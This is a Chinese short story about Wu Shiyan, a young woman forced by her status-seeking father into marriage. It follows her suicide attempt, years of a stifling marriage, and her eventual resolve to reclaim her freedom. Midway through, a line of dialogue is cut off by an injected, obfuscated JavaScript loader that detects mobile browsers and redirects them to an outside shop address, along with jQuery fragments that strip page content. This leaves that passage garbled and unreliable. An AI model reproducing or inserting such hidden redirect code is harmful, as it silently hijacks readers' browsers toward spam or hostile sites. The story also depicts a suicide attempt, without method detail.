崇德三十二年,九月十五,中秋节。
京城东街,太傅府。
圆月当空,风吹树叶飒飒作响。太傅年事已高,家宴上没吃几口便携夫人离席了。
吴屈看准了岳母离席,适才开口:“十烟啊,为父给你定了一桩婚事。”
吴十烟闻言顿时捏紧了筷子。良久,将筷子放回桌上,坐正了身子,抬头望向自己从小就没见过几次面的父亲,不卑不亢:“外祖母曾言,我之夫婿,定要我心仪之人,再由她亲自挑选过目,方可定下。父亲此举,是否问过外祖母。”
“此人为今年科举的探花郎,不过双十年纪便进士及第,是个不可多得的人才,为父是瞅准了你会喜欢,又怕慢了这佳婿被旁人拦走,这才不得不先斩后奏。”
吴十烟不答,只是一味盯着他看。
夜风猎猎,月色溶溶,原是一家人赏月团聚的时候。
只是此刻,掌权人离席,吴屈拿出所谓的“一家之主”的架子,意图逼迫吴十烟应下这桩莫名其妙的婚事。
却又被吴十烟盯得浑身发毛。
这孩子自幼失恃,自己又正值升调之际,事物繁忙,于是将她养在外祖家。
“你外祖母真是将你惯的不知天高地厚了。看遍京城,哪家官宦小姐这样同父亲说话?”
他言辞里满是责备却语气慈祥,旁人若是不仔细看他的神情,说不定真会误以为他是一个好父亲。
好父亲?
吴十烟觉得这真是自己这十八年里听过的最好笑的话。
从小,她就听过许多人夸奖她有个好父亲。
她诗会拔得头筹,旁人称赞她有个好父亲。
她画作被陛下赞赏,旁人还是称赞她有个好父亲。
明明生她的是母亲,养她的是外祖母,教她的是外祖父,而做到这些的是自己。
生恩养恩教导之恩,他一个不占。
可是旁人提及,只有父亲。
吴十烟面色平静,眸中毫无波澜,依旧不言语。
吴屈终于败下阵来:“我这就去同你外祖母说。”
吴十烟这才松了一口气:“明日辰时你再来同祖母说罢。今夜中秋,莫让她动气了。”
但令吴十烟始料未及的是,外祖母深夜突发恶疾,失语了。
吴屈不知道用怎样的话术说服了外祖父同意这桩婚事。
不仅如此,外祖父还反过来给他做说客。
“十烟啊,祖父就快到要乞骸骨的年纪了,以后你在京城就得跟着你父亲过活。祖父祖母给你挡得了这一次挡不了第二次。这个年轻人呢,祖父也看了,才学和长相都是顶顶好的,你嫁过去,不会有什么问题的。”
秋夜圆月,落叶飘雨。
吴十烟分不出丝毫心思去关注这些在往日里能触发她诗兴的事物。
她如同一个失去灵魂的躯壳的一般。
她想说,她可以不嫁人。
她想说,她可以不留在京城。
她想说,她愿意留在祖母祖父身边,一直照顾她们。
可她看着重病躺在床上再也开不了口的祖母,看着祖父日渐苍老的面容与鬓边丛生的白发,看着自己无力的双手。
又想起吴屈正值盛年,官途一片光明灿烂。想起那位素未谋面的万宇德,那样的文章却能当上探花郎。
——挡的了这一次挡不了第二次。
是啊,躲得过今日,能躲得过明日吗?
可她还是想不通。
也或许是想得通,但是不愿接受。总之,她凭着一口气,凭着记忆,来到了吴府。
来到了这个五岁之后就再没踏足过的“家”。
吴屈看见她时一惊,随即又是喜:“好孩子,快回家,你怎么知道今天万府下聘的人来了?”
吴十烟堪堪扯起唇角——你瞧,他根本不会在意你是以怎样的神情、怎样的姿态走进来的。
他只会在意,今天下聘,终于将你的婚事定下来了。
终于,将你从一个人,变成了一个有利用价值的物件。
在你完全不同意不知情的情况下,定下了你的婚事,接受了这场婚事带来的全部好处。
吴屈伸手来拽吴十烟,动作生硬,语气却轻柔:“不过新娘子跟新郎官成亲之前最好不要见面,这是老祖宗传下来的规矩,现下宇德就在正厅呢,咱们去偏厅里避一避啊。”
吴十烟整个人如牵线木偶般被他拽走。
“父亲。他是怎么样的人?”
“探花郎,前途无限啊。”
“我呢?在你心里,我是一个怎么样的人?”
“你?你是个好孩子。”
“父亲,我今年十八,自我五岁后这十三年,你我见面的次数屈指可数。你不了解我,我也不了解你。”
“但我深知,在你心里,我只是一个可以给你的官路增砖加瓦的……人?”
“你有把我当成一个人吗?”
“我自幼便知,生于官宦人家,婚事由不得自己做主。我心想,没关系。我既然享受了生于官宦人家的一切好处,那我就没资格去要所谓的自由。但是父亲,你扪心自问,可有把我当做一个人?”
“你这话说的,谁不是人?谁不把你当人?”
“如果你把我当成一个人,你不会不问我心中所想便自顾自沉浸在榜下捉婿的自得里给我许下这门亲事。”
“你真是得寸进尺,你这是什么态度?这样好的亲事,别人求都求不来。”
“可这不是我所求。”
“你!你也说了,我供你吃供你喝,你去看看外面的人家,谁能过上你这样好的日子?”
“供我吃喝的是祖父祖母,教我养我的亦是祖父祖母!我没想要自由,可你为何毒害祖母?”
“……好孩子,毒害你祖母的人,可不是我,回府去,问问养你教你的祖父罢。”
眼前一切景象都被光影切割成繁杂的碎片。
年仅十八岁的吴十烟站在这片烂摊子前,不知道要怎么做才能把自己的世界拼回原来的样子。
她伸手去够那些碎片,却踏进一片虚无。
于是她做了一件傻事。
她拿了三尺白绫准备上吊自杀,无论轻素如何哭她也没管。但最后被隔壁府上的愣头青小孩救下。
她说:“吓死我了,还好救下你了,姐姐你怎么好端端的要
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17351357|199605||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
上吊啊?”
好端端的肯定不会上吊,但是她觉得自己的日子实在是坏透了。
最后还是嫁过去了。
不过还好被阻止了,不然祖母要怎么办呢?
后面的生活实在乏善可陈。
吴十烟嫁给了万宇德。和几乎所有女人嫁人之后的日子一样,她照顾夫君、操持家务,因为迟迟无子被公婆催促。
和几乎所有女人嫁人之后的日子一样,她日益憔悴,逐渐失去自己的姓名。
虽说她也不怎么喜欢自己的名字。但她更讨厌“万夫人”这个称呼。
她再不复从前模样,她开始躲避读书,躲避念诗,躲避作赋。
江郎才尽,竟然也会发生在她身上。
世间万千颜色,与她眼中都变成了灰蒙蒙的一片雾。春夏秋冬四季轮转,对她来讲,也只是添衣去衣的区别。
浑浑噩噩过了许多年,久到她自己偶尔都记不起自己名字,久到她对镜梳妆时经常愣神。
久到,“京城第一才女”换了一代又一代。
其实想来,也不过三年。
打破她这样生活的,是一个消息。
一个她外祖母逝世的消息。
那一天,她与外祖父爆发了一次激烈的争吵。其实当时说出话语全系本能,吴十烟后来大病一场,早已不记得自己说了什么。
她只记得,外祖父说了一句:“我们也只是想你过得好。”
她后来时时想起这句话,时时想起十八岁的自己。
十八岁的吴十烟就连反抗也是轻飘飘的。她哪怕想要拼上自己的性命,也没人在意。
人微言轻,大抵就是这种感觉吧。
她也不清楚自己究竟想要什么。一个暴露在雷雨天气里饮雨止渴的人,哪怕早就做好了准备,可当惊雷真正劈在自己身上时,还是不甘愿。
她只是觉得不能如此、不该如此、不愿如此。
她不仅想要躲避那道惊雷,更想逃离那片雷雨天。
二十一岁的吴十烟依旧没能给自己的灵魂找好去处。
二十五岁的吴十烟也没能逃离那片雷雨天。甚至她开始想,思考那么多做什么呢?不若就这样过一生吧。大家都是这样过的,不是吗?
三十岁,世俗意义上的而立之年。但这一年,万宇德已然宦场沉浮十二年,经历了自己的第一次降职。于是一切的表面恩爱都被撕裂开。
吴十烟终于再次试图撕开别人给自己编织的这张网,开始挣扎。
她重新拿起自己的书,拿起她年幼时,母亲带着她一字一句读的那本《诗经》。
同样的问题,十八岁的吴十烟不知道答案。但如果你问三十四岁的吴十烟,她知道,自己当时不过是想要自由和权利。
一个人应该有的自由和权利。
若是予她吃食,授她诗书,将她推举为“第一才女”,再束她于高阁之中,只是为了让她能更有利用价值。
那她必须反抗。
她该想的不是反思自己这么多年里享受到的吃穿教育。
无论如何,那不是他们高高在上剥削自己的理由。
她不想再躲避,她要斩雷。